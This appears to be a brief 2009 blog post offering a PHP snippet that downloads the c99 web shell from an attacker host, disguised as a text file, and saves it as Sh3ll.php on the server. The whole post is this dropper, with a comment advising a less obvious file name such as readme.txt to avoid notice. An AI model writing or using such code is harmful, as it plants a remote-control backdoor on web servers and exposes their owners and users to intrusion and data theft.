Friday, May 15, 2009

Load txt file as PHP

A pretty sick use of php ;-)

       $shell = "http://attacker.com/c99madshell.txt"; //use something less obvious like readme.txt
       $code = file_get_contents($shell);
       $fp=fopen("Sh3ll.php","w+");
       fwrite($fp, $code);
       fclose($fp);
?>


No comments: